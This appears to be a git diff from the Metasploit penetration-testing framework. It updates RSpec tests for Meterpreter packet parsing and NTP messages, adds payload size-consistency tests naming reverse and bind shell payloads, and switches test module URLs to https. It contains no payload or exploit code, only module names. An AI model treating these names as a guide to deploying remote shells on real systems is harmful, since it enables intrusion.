+++ /dev/null
@@ -1,98 +0,0 @@
-require 'spec_helper'
-
-require 'msf/ui'
-require 'msf/ui/console/module_command_dispatcher'
-require 'msf/ui/console/command_dispatcher/core'
-
-RSpec.describe Msf::Ui::Console::CommandDispatcher::Modules do
-  include_context 'Msf::DBManager'
-  include_context 'Msf::UIDriver'
-
-  subject(:core) do
-    described_class.new(driver)
-  end
-
-  context '#search_modules_sql' do
-    def search_modules_sql
-      core.search_modules_sql(match)
-    end
-
-    let(:match) do
-      ''
-    end
-
-    it 'should generate Matching Modules table' do
-      expect(core).to receive(:generate_module_table).with('Matching Modules').and_call_original
-
-      search_modules_sql
-    end
-
-    it 'should call Msf::DBManager#search_modules' do
-      expect(db_manager).to receive(:search_modules).with(match).and_return([])
-
-      search_modules_sql
-    end
-
-    context 'with matching Mdm::Module::Details' do
-      let(:match) do
-        module_detail.fullname
-      end
-
-      let!(:module_detail) do
-        FactoryGirl.create(:mdm_module_detail)
-      end
-
-      context 'printed table' do
-        def cell(table, row, column)
-          row_line_number = 6 + row
-          line_number     = 0
-
-          cell = nil
-
-          table.each_line do |line|
-            if line_number == row_line_number
-              # strip prefix and postfix
-              padded_cells = line[3...-1]
-              cells        = padded_cells.split(/\s{2,}/)
-
-              cell = cells[column]
-              break
-            end
-
-            line_number += 1
-          end
-
-          cell
-        end
-
-        let(:printed_table) do
-          table = ''
-
-          expect(core).to receive(:print_line) do |string|
-            table = string
-          end
-
-          search_modules_sql
-
-          table
-        end
-
-        it 'should have fullname in first column' do
-          expect(cell(printed_table, 0, 0)).to include(module_detail.fullname)
-        end
-
-        it 'should have disclosure date in second column' do
-          expect(cell(printed_table, 0, 1)).to include(module_detail.disclosure_date.strftime("%Y-%m-%d"))
-        end
-
-        it 'should have rank name in third column' do
-          expect(cell(printed_table, 0, 2)).to include(Msf::RankingName[module_detail.rank])
-        end
-
-        it 'should have name in fourth column' do
-          expect(cell(printed_table, 0, 3)).to include(module_detail.name)
-        end
-      end
-    end
-  end
-end
diff --git a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb
index 1497ebaa9e..c45496a4cf 100644
--- a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb
+++ b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb
@@ -1,33 +1,22 @@
 # -*- coding:binary -*-
 require 'rex/post/meterpreter/packet'
 require 'rex/post/meterpreter/packet_parser'
-
+require 'stringio'
 
 RSpec.describe Rex::Post::Meterpreter::PacketParser do
   subject(:parser){
     Rex::Post::Meterpreter::PacketParser.new
   }
   before(:example) do
-    @req_packt = Rex::Post::Meterpreter::Packet.new(
-          Rex::Post::Meterpreter::PACKET_TYPE_REQUEST,
-          "test_method")
-    @raw = @req_packt.to_r
-    @sock = double('Socket')
-    allow(@sock).to receive(:read) do |arg|
-      @raw.slice!(0,arg)
-    end
-  end
-
-  it "should initialise with expected defaults" do
-    expect(parser.send(:raw)).to eq ""
-    expect(parser.send(:hdr_length_left)).to eq 12
-    expect(parser.send(:payload_length_left)).to eq 0
+    @request_packet = Rex::Post::Meterpreter::Packet.create_request("test_method")
+    @sock = StringIO.new(@request_packet.to_r)
   end
 
   it "should parse valid raw data into a packet object" do
-    while @raw.length >0
+    begin
       parsed_packet = parser.recv(@sock)
-    end
+    end while parsed_packet.nil?
+    parsed_packet.from_r
     expect(parsed_packet).to be_a Rex::Post::Meterpreter::Packet
     expect(parsed_packet.type).to eq Rex::Post::Meterpreter::PACKET_TYPE_REQUEST
     expect(parsed_packet.method?("test_method")).to eq true
diff --git a/spec/lib/rex/post/meterpreter/packet_spec.rb b/spec/lib/rex/post/meterpreter/packet_spec.rb
index 708c6300c0..bd8dc12451 100644
--- a/spec/lib/rex/post/meterpreter/packet_spec.rb
+++ b/spec/lib/rex/post/meterpreter/packet_spec.rb
@@ -83,7 +83,7 @@ RSpec.describe Rex::Post::Meterpreter::Tlv do
 
     context "Any non group TLV_TYPE" do
       subject(:tlv_types){
-        excludedTypes = ["TLV_TYPE_ANY", "TLV_TYPE_EXCEPTION", "TLV_TYPE_CHANNEL_DATA_GROUP", "TLV_TYPE_TRANS_GROUP", "TLV_TYPE_CIPHER_PARAMETERS"]
+        excludedTypes = ["TLV_TYPE_ANY", "TLV_TYPE_EXCEPTION", "TLV_TYPE_CHANNEL_DATA_GROUP", "TLV_TYPE_TRANS_GROUP"]
         typeList = []
         Rex::Post::Meterpreter.constants.each do |type|
           typeList << type.to_s if type.to_s.include?("TLV_TYPE") && !excludedTypes.include?(type.to_s)
@@ -462,7 +462,8 @@ RSpec.describe Rex::Post::Meterpreter::Packet do
       rid = packet.rid
       meth = packet.method
       raw = packet.to_r
-      packet.from_r(raw)
+      packet.add_raw(raw)
+      packet.from_r
       expect(packet.rid).to eq rid
       expect(packet.method).to eq meth
     end
diff --git a/spec/lib/rex/proto/ntp/modes_spec.rb b/spec/lib/rex/proto/ntp/modes_spec.rb
index 6e46adf19e..73c9efdbb7 100644
--- a/spec/lib/rex/proto/ntp/modes_spec.rb
+++ b/spec/lib/rex/proto/ntp/modes_spec.rb
@@ -24,11 +24,11 @@ RSpec.describe "Rex::Proto::NTP mode message handling" do
     end
 
     it 'Generates control NTP messages correctly' do
-      expect(@control_raw).to eq @control.to_s
+      expect(@control_raw).to eq @control.to_binary_s
     end
 
     it 'Parses control NTP messages correctly' do
-      parsed_raw = Rex::Proto::NTP::NTPControl.new(@control_raw)
+      parsed_raw = Rex::Proto::NTP::NTPControl.new.read(@control_raw)
       expect(@control).to eq parsed_raw
     end
   end
@@ -47,11 +47,11 @@ RSpec.describe "Rex::Proto::NTP mode message handling" do
     end
 
     it 'Generates generic NTP messages correctly' do
-      expect(@generic_raw).to eq @generic.to_s
+      expect(@generic_raw).to eq @generic.to_binary_s
     end
 
     it 'Parses generic NTP messages correctly' do
-      parsed_raw = Rex::Proto::NTP::NTPGeneric.new(@generic_raw)
+      parsed_raw = Rex::Proto::NTP::NTPGeneric.new.read(@generic_raw)
       expect(@generic).to eq parsed_raw
     end
   end
@@ -72,11 +72,11 @@ RSpec.describe "Rex::Proto::NTP mode message handling" do
     end
 
     it 'Generates private NTP messages correctly' do
-      expect(@private_raw).to eq @private.to_s
+      expect(@private_raw).to eq @private.to_binary_s
     end
 
     it 'Parses private NTP messages correctly' do
-      parsed_raw = Rex::Proto::NTP::NTPPrivate.new(@private_raw)
+      parsed_raw = Rex::Proto::NTP::NTPPrivate.new.read(@private_raw)
       expect(@private).to eq parsed_raw
     end
   end
diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb
index 61fbbccf06..5fc0730837 100644
--- a/spec/modules/payloads_spec.rb
+++ b/spec/modules/payloads_spec.rb
@@ -438,6 +438,16 @@ RSpec.describe 'modules/payloads', :content do
                           reference_name: 'cmd/mainframe/generic_jcl'
   end
 
+  context 'cmd/mainframe/bind_shell_jcl' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                              'singles/cmd/mainframe/bind_shell_jcl'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'cmd/mainframe/bind_shell_jcl'
+  end
+
   context 'cmd/mainframe/reverse_shell_jcl' do
     it_should_behave_like 'payload cached size is consistent',
                           ancestor_reference_names: [
@@ -548,6 +558,16 @@ RSpec.describe 'modules/payloads', :content do
                           reference_name: 'cmd/unix/bind_perl_ipv6'
   end
 
+  context 'cmd/unix/bind_r' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                            'singles/cmd/unix/bind_r'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'cmd/unix/bind_r'
+  end
+
   context 'cmd/unix/bind_ruby' do
     it_should_behave_like 'payload cached size is consistent',
                           ancestor_reference_names: [
@@ -748,6 +768,16 @@ RSpec.describe 'modules/payloads', :content do
                           reference_name: 'cmd/unix/reverse_python_ssl'
   end
 
+  context 'cmd/unix/reverse_r' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                            'singles/cmd/unix/reverse_r'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'cmd/unix/reverse_r'
+  end
+
   context 'cmd/unix/reverse_ruby' do
     it_should_behave_like 'payload cached size is consistent',
                           ancestor_reference_names: [
@@ -1104,6 +1134,48 @@ RSpec.describe 'modules/payloads', :content do
                           reference_name: 'java/shell_reverse_tcp'
   end
 
+  context 'linux/aarch64/shell_reverse_tcp' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                            'singles/linux/aarch64/shell_reverse_tcp'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'linux/aarch64/shell_reverse_tcp'
+  end
+
+  context 'linux/aarch64/meterpreter_reverse_http' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                            'singles/linux/aarch64/meterpreter_reverse_http'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'linux/aarch64/meterpreter_reverse_http'
+  end
+
+  context 'linux/aarch64/meterpreter_reverse_https' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                            'singles/linux/aarch64/meterpreter_reverse_https'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'linux/aarch64/meterpreter_reverse_https'
+  end
+
+  context 'linux/aarch64/shell/reverse_tcp' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                            'stagers/linux/aarch64/reverse_tcp',
+                            'stages/linux/aarch64/shell'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'linux/aarch64/shell/reverse_tcp'
+  end
+
+
  context 'linux/armbe/shell_bind_tcp' do
     it_should_behave_like 'payload cached size is consistent',
                           ancestor_reference_names: [
@@ -1819,6 +1891,36 @@ RSpec.describe 'modules/payloads', :content do
                           reference_name: 'osx/x64/exec'
   end
 
+  context 'osx/x64/meterpreter_reverse_http' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                            'singles/osx/x64/meterpreter_reverse_http'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'osx/x64/meterpreter_reverse_http'
+  end
+
+  context 'osx/x64/meterpreter_reverse_https' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                            'singles/osx/x64/meterpreter_reverse_https'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'osx/x64/meterpreter_reverse_https'
+  end
+
+  context 'osx/x64/meterpreter_reverse_tcp' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                            'singles/osx/x64/meterpreter_reverse_tcp'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'osx/x64/meterpreter_reverse_tcp'
+  end
+
   context 'osx/x64/say' do
     it_should_behave_like 'payload cached size is consistent',
                           ancestor_reference_names: [
@@ -2837,6 +2939,17 @@ RSpec.describe 'modules/payloads', :content do
                           reference_name: 'windows/meterpreter/reverse_ipv6_tcp'
   end
 
+  context 'windows/meterpreter/reverse_named_pipe' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                              'stagers/windows/reverse_named_pipe',
+                              'stages/windows/meterpreter'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'windows/meterpreter/reverse_named_pipe'
+  end
+
   context 'windows/meterpreter/reverse_nonx_tcp' do
     it_should_behave_like 'payload cached size is consistent',
                           ancestor_reference_names: [
@@ -3796,6 +3909,17 @@ RSpec.describe 'modules/payloads', :content do
                           reference_name: 'windows/x64/meterpreter/reverse_https'
   end
 
+  context 'windows/x64/meterpreter/reverse_named_pipe' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                              'stagers/windows/x64/reverse_named_pipe',
+                              'stages/windows/x64/meterpreter'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'windows/x64/meterpreter/reverse_named_pipe'
+  end
+
   context 'windows/x64/meterpreter/reverse_tcp' do
     it_should_behave_like 'payload cached size is consistent',
                           ancestor_reference_names: [
@@ -4170,66 +4294,6 @@ RSpec.describe 'modules/payloads', :content do
                           reference_name: 'windows/meterpreter/reverse_winhttps'
   end
 
-  context 'linux/aarch64/meterpreter_reverse_http' do
-    it_should_behave_like 'payload cached size is consistent',
-                          ancestor_reference_names: [
-                            'singles/linux/aarch64/meterpreter_reverse_http'
-                          ],
-                          dynamic_size: false,
-                          modules_pathname: modules_pathname,
-                          reference_name: 'linux/aarch64/meterpreter_reverse_http'
-  end
-
-  context 'linux/aarch64/meterpreter_reverse_https' do
-    it_should_behave_like 'payload cached size is consistent',
-                          ancestor_reference_names: [
-                            'singles/linux/aarch64/meterpreter_reverse_https'
-                          ],
-                          dynamic_size: false,
-                          modules_pathname: modules_pathname,
-                          reference_name: 'linux/aarch64/meterpreter_reverse_https'
-  end
-
-  context 'linux/armbe/meterpreter_reverse_http' do
-    it_should_behave_like 'payload cached size is consistent',
-                          ancestor_reference_names: [
-                            'singles/linux/armbe/meterpreter_reverse_http'
-                          ],
-                          dynamic_size: false,
-                          modules_pathname: modules_pathname,
-                          reference_name: 'linux/armbe/meterpreter_reverse_http'
-  end
-
-  context 'linux/armbe/meterpreter_reverse_https' do
-    it_should_behave_like 'payload cached size is consistent',
-                          ancestor_reference_names: [
-                            'singles/linux/armbe/meterpreter_reverse_https'
-                          ],
-                          dynamic_size: false,
-                          modules_pathname: modules_pathname,
-                          reference_name: 'linux/armbe/meterpreter_reverse_https'
-  end
-
-  context 'linux/armle/meterpreter_reverse_http' do
-    it_should_behave_like 'payload cached size is consistent',
-                          ancestor_reference_names: [
-                            'singles/linux/armle/meterpreter_reverse_http'
-                          ],
-                          dynamic_size: false,
-                          modules_pathname: modules_pathname,
-                          reference_name: 'linux/armle/meterpreter_reverse_http'
-  end
-
-  context 'linux/armle/meterpreter_reverse_https' do
-    it_should_behave_like 'payload cached size is consistent',
-                          ancestor_reference_names: [
-                            'singles/linux/armle/meterpreter_reverse_https'
-                          ],
-                          dynamic_size: false,
-                          modules_pathname: modules_pathname,
-                          reference_name: 'linux/armle/meterpreter_reverse_https'
-  end
-
   context 'linux/mips64/meterpreter_reverse_http' do
     it_should_behave_like 'payload cached size is consistent',
                           ancestor_reference_names: [
@@ -4410,6 +4474,17 @@ RSpec.describe 'modules/payloads', :content do
                           reference_name: 'linux/zarch/meterpreter_reverse_https'
   end
 
+  context 'linux/aarch64/meterpreter/reverse_tcp' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                            'stagers/linux/aarch64/reverse_tcp',
+                            'stages/linux/aarch64/meterpreter'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'linux/aarch64/meterpreter/reverse_tcp'
+  end
+
   context 'linux/aarch64/meterpreter_reverse_tcp' do
     it_should_behave_like 'payload cached size is consistent',
                           ancestor_reference_names: [
@@ -4430,6 +4505,46 @@ RSpec.describe 'modules/payloads', :content do
                           reference_name: 'linux/armbe/meterpreter_reverse_tcp'
   end
 
+  context 'linux/armbe/meterpreter_reverse_http' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                            'singles/linux/armbe/meterpreter_reverse_http'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'linux/armbe/meterpreter_reverse_http'
+  end
+
+  context 'linux/armbe/meterpreter_reverse_https' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                            'singles/linux/armbe/meterpreter_reverse_https'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'linux/armbe/meterpreter_reverse_https'
+  end
+
+  context 'linux/armle/meterpreter_reverse_http' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                            'singles/linux/armle/meterpreter_reverse_http'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'linux/armle/meterpreter_reverse_http'
+  end
+
+  context 'linux/armle/meterpreter_reverse_https' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                            'singles/linux/armle/meterpreter_reverse_https'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'linux/armle/meterpreter_reverse_https'
+  end
+
   context 'linux/armle/meterpreter/bind_tcp' do
     it_should_behave_like 'payload cached size is consistent',
                           ancestor_reference_names: [
@@ -4696,4 +4811,23 @@ RSpec.describe 'modules/payloads', :content do
                           reference_name: 'linux/zarch/meterpreter_reverse_tcp'
   end
 
+  context 'r/shell_bind_tcp' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                            'singles/r/shell_bind_tcp'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'r/shell_bind_tcp'
+  end
+
+  context 'r/shell_reverse_tcp' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                            'singles/r/shell_reverse_tcp'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'r/shell_reverse_tcp'
+  end
 end
diff --git a/test/modules/auxiliary/test/capture.rb b/test/modules/auxiliary/test/capture.rb
index 7635dd4e0c..eb5474e16f 100644
--- a/test/modules/auxiliary/test/capture.rb
+++ b/test/modules/auxiliary/test/capture.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/auxiliary/test/check.rb b/test/modules/auxiliary/test/check.rb
index 09138e7dcb..833aa4e64f 100644
--- a/test/modules/auxiliary/test/check.rb
+++ b/test/modules/auxiliary/test/check.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/auxiliary/test/eth_spoof.rb b/test/modules/auxiliary/test/eth_spoof.rb
index c20f1d5ffe..e0132c7d21 100644
--- a/test/modules/auxiliary/test/eth_spoof.rb
+++ b/test/modules/auxiliary/test/eth_spoof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/auxiliary/test/ftp_data.rb b/test/modules/auxiliary/test/ftp_data.rb
index d0b28c0421..231fbe579d 100644
--- a/test/modules/auxiliary/test/ftp_data.rb
+++ b/test/modules/auxiliary/test/ftp_data.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/auxiliary/test/heaplib2.rb b/test/modules/auxiliary/test/heaplib2.rb
index c1e9a0cbae..9f2b836e22 100644
--- a/test/modules/auxiliary/test/heaplib2.rb
+++ b/test/modules/auxiliary/test/heaplib2.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Auxiliary
       'Author'         => [ 'sinn3r' ],
       'References'     =>
         [
-          [ 'URL', 'http://metasploit.com' ]
+          [ 'URL', 'https://metasploit.com' ]
         ],
       'Platform'       => 'win',
       'Targets'        =>
diff --git a/test/modules/auxiliary/test/httpserver.rb b/test/modules/auxiliary/test/httpserver.rb
index 2da0069f68..2437ea4b8e 100644
--- a/test/modules/auxiliary/test/httpserver.rb
+++ b/test/modules/auxiliary/test/httpserver.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/auxiliary/test/ip_spoof.rb b/test/modules/auxiliary/test/ip_spoof.rb
index dcb670d582..8d4baf1073 100644
--- a/test/modules/auxiliary/test/ip_spoof.rb
+++ b/test/modules/auxiliary/test/ip_spoof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/auxiliary/test/recon_passive.rb b/test/modules/auxiliary/test/recon_passive.rb
index 11ec7c313b..b635fe403b 100644
--- a/test/modules/auxiliary/test/recon_passive.rb
+++ b/test/modules/auxiliary/test/recon_passive.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/auxiliary/test/report_auth_info.rb b/test/modules/auxiliary/test/report_auth_info.rb
index f93e01cc95..49ff6911c5 100644
--- a/test/modules/auxiliary/test/report_auth_info.rb
+++ b/test/modules/auxiliary/test/report_auth_info.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/auxiliary/test/scanner_batch.rb b/test/modules/auxiliary/test/scanner_batch.rb
index 120b02783b..9bb8ccf61c 100644
--- a/test/modules/auxiliary/test/scanner_batch.rb
+++ b/test/modules/auxiliary/test/scanner_batch.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/auxiliary/test/scanner_host.rb b/test/modules/auxiliary/test/scanner_host.rb
index 4ff7dd85b2..0436d27a45 100644
--- a/test/modules/auxiliary/test/scanner_host.rb
+++ b/test/modules/auxiliary/test/scanner_host.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/auxiliary/test/scanner_range.rb b/test/modules/auxiliary/test/scanner_range.rb
index 9c3f192320..1f2df66fd7 100644
--- a/test/modules/auxiliary/test/scanner_range.rb
+++ b/test/modules/auxiliary/test/scanner_range.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/auxiliary/test/space-check.rb b/test/modules/auxiliary/test/space-check.rb
index aaa7ae5f5a..1c1827529d 100644
--- a/test/modules/auxiliary/test/space-check.rb
+++ b/test/modules/auxiliary/test/space-check.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/exploits/test/aggressive.rb b/test/modules/exploits/test/aggressive.rb
index f989bac288..f09369be5d 100644
--- a/test/modules/exploits/test/aggressive.rb
+++ b/test/modules/exploits/test/aggressive.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/exploits/test/browserexploitserver.rb b/test/modules/exploits/test/browserexploitserver.rb
index 1ccd6ffadf..3d15de9b3c 100644
--- a/test/modules/exploits/test/browserexploitserver.rb
+++ b/test/modules/exploits/test/browserexploitserver.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -23,7 +23,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Author'         => [ 'sinn3r' ],
       'References'     =>
         [
-          [ 'URL', 'http://metasploit.com' ]
+          [ 'URL', 'https://metasploit.com' ]
         ],
       'Platform'       => 'win',
       'BrowserRequirements' =>
diff --git a/test/modules/exploits/test/check.rb b/test/modules/exploits/test/check.rb
index 5520014680..01b1be123f 100644
--- a/test/modules/exploits/test/check.rb
+++ b/test/modules/exploits/test/check.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/exploits/test/cmdweb.rb b/test/modules/exploits/test/cmdweb.rb
index 22cd334e90..54f942da14 100644
--- a/test/modules/exploits/test/cmdweb.rb
+++ b/test/modules/exploits/test/cmdweb.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/exploits/test/dialup.rb b/test/modules/exploits/test/dialup.rb
index edd7a228ee..63b95aa194 100644
--- a/test/modules/exploits/test/dialup.rb
+++ b/test/modules/exploits/test/dialup.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/exploits/test/egghunter.rb b/test/modules/exploits/test/egghunter.rb
index 6da35c4bcf..c001f47652 100644
--- a/test/modules/exploits/test/egghunter.rb
+++ b/test/modules/exploits/test/egghunter.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb b/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb
index 8505eaa529..97b3ed68e8 100644
--- a/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb
+++ b/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/exploits/test/explib2_ie11_exec_test_case.rb b/test/modules/exploits/test/explib2_ie11_exec_test_case.rb
index 2715bd6a15..d7a752c759 100644
--- a/test/modules/exploits/test/explib2_ie11_exec_test_case.rb
+++ b/test/modules/exploits/test/explib2_ie11_exec_test_case.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/exploits/test/exploitme.rb b/test/modules/exploits/test/exploitme.rb
index f07278feeb..9a78e87156 100644
--- a/test/modules/exploits/test/exploitme.rb
+++ b/test/modules/exploits/test/exploitme.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/exploits/test/java_tester.rb b/test/modules/exploits/test/java_tester.rb
index ae1602c66f..bdda59328b 100644
--- a/test/modules/exploits/test/java_tester.rb
+++ b/test/modules/exploits/test/java_tester.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/exploits/test/js_tester.rb b/test/modules/exploits/test/js_tester.rb
index e264e61b45..6032e61080 100644
--- a/test/modules/exploits/test/js_tester.rb
+++ b/test/modules/exploits/test/js_tester.rb
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       },
       'License'        => MSF_LICENSE,
       'Author'         => [ 'sinn3r' ],
-      'References'     => [ [ 'URL', 'http://metasploit.com' ] ],
+      'References'     => [ [ 'URL', 'https://metasploit.com' ] ],
       'Platform'       => 'win',
       'Targets'        => [ [ 'Automatic', {} ] ],
       'Payload'        =>
diff --git a/test/modules/exploits/test/kernel.rb b/test/modules/exploits/test/kernel.rb
index 1848e44631..88999287bd 100644
--- a/test/modules/exploits/test/kernel.rb
+++ b/test/modules/exploits/test/kernel.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/exploits/test/shell.rb b/test/modules/exploits/test/shell.rb
index 237a48b484..ea68d5fb1c 100644
--- a/test/modules/exploits/test/shell.rb
+++ b/test/modules/exploits/test/shell.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/test/modules/post/test/railgun.rb b/test/modules/post/test/railgun.rb
index 64d4abdbb4..4587abe60a 100644
--- a/test/modules/post/test/railgun.rb
+++ b/test/modules/post/test/railgun.rb
